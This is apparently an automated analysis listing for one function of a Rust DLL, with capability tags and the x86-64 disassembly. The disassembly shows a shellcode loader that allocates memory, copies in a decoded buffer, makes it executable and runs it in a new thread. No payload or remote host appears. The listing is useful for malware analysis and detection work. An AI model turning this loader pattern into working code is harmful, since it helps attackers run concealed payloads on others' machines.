Function at 0x180009e75
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x860
lea rdx, str.0000663059
lea rsi, [rsp + 0x90]
mov r8d, 0xa
mov rcx, rsi
mov r9d, 0xa
call fcn.180004450
cmp byte [rsi], 0
jne 0x18000a0e2
mov rdi, qword [rsp + 0x98]
cmp rdi, 0xfa00e
jae 0x18000a118
lea rdx, [0x18003c1e8]
lea rsi, [rsp + 0x78]
mov r8d, 0x20
mov rcx, rsi
call fcn.1800041a0
lea rdx, [0x18003c208]
lea rcx, [rsp + 0x60]
mov r8d, 0xc
call fcn.1800041a0
lea rcx, str.false
mov edx, 0xc
call fcn.180004950
lea rbx, [rsp + 0x3f]
test rax, rax
je 0x18000a12c
mov r8, rdx
lea r14, [rsp + 0x90]
mov rcx, r14
mov rdx, rax
call fcn.180004a50
cmp qword [r14], 0
jne 0x18000a13c
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea r8, str.truefalseUtf8Errorvalid_up_to
mov r9d, 4
mov rcx, r14
mov rdx, r15
call fcn.18000d366
test al, al
jne 0x18000a15f
lea r8, [0x18003c09c]
mov r9d, 5
mov rcx, r14
mov rdx, r15
call fcn.18000d366
test al, al
je 0x18000a169
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
lea rcx, [rsp + 0x90]
call fcn.18000918c
cmp byte [rsp + 0x90], 0
jne 0x18000a179
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x480]
mov r8d, 0x3e0
call sub.msvcrt.dll_memcpy
mov r8, qword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
cmp rax, 0xc
jne 0x18000a1a2
mov qword [rsp + 0x20], rdi
lea r9, [0x18003c2e8]
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x480]
call fcn.1800093cc
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x90], rax
je 0x18000a1cf
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [0x18013abd0]
mov al, byte [rax]
lea rcx, [rsp + 0x60]
call fcn.180009daa
lea rcx, [rsp + 0x78]
call fcn.180009daa
mov rdi, qword [rsp + 0x50]
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x3000
mov r9d, 4
call sub.kernel32.dll_VirtualAlloc
mov rsi, rax
mov rdx, qword [rsp + 0x48]
mov rcx, rax
mov r8, rdi
call sub.msvcrt.dll_memmove
lea r9, [rsp + 0x90]
mov dword [r9], 4
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x10
call sub.kernel32.dll_VirtualProtect
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rsi
xor r9d, r9d
call sub.kernel32.dll_CreateThread
mov rcx, rax
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
lea rcx, [rsp + 0x40]
call fcn.180009daa
nop
add rsp, 0x860
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov al, byte [rsp + 0x91]
lea r8, [rsp + 0x480]
mov byte [r8], al
lea rax, str.rust_shellcodecreate_thread_local_dll_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x18003bf8d]
lea r9, [0x18003c038]
mov edx, 0x2b
call fcn.180005120
lea r8, str.rust_shellcodecreate_thread_local_dll_srclib.rs
mov edx, 0xfa00d
mov rcx, rdi
call fcn.180006d80
lea rax, str.rust_shellcodecreate_thread_local_dll_srclib.rs
lea r9, [0x18003bff8]
jmp 0x18000a187
movups xmm0, xmmword [rsp + 0x98]
lea rbx, [rsp + 0x480]
movaps xmmword [rbx], xmm0
lea rax, str.rust_shellcodecreate_thread_local_dll_srclib.rs
lea r9, [0x18003c058]
jmp 0x18000a187
call fcn.18000a235
jmp 0x18000a1f8
lea rax, str.rust_shellcodecreate_thread_local_dll_srclib.rs
lea r9, [0x18003bfb8]
jmp 0x18000a187
lea rax, str.rust_shellcodecreate_thread_local_dll_srclib.rs
lea r9, [0x18003bfd8]
mov qword [rsp + 0x20], rax
lea rcx, [0x18003bf8d]
mov edx, 0x2b
mov r8, rbx
call fcn.180005120
jmp 0x18000a1f8
lea r9, [rsp + 0x90]
and qword [r9], 0
lea rax, [0x18003bf70]
mov qword [rsp + 0x20], rax
lea r8, [0x18003bf10]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call fcn.180009bed
jmp 0x18000a1f8
lea rax, str.rust_shellcodecreate_thread_local_dll_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x18003bf8d]
lea r9, [0x18003c018]
lea r8, [rsp + 0x3f]
mov edx, 0x2b
call fcn.180005120
ud2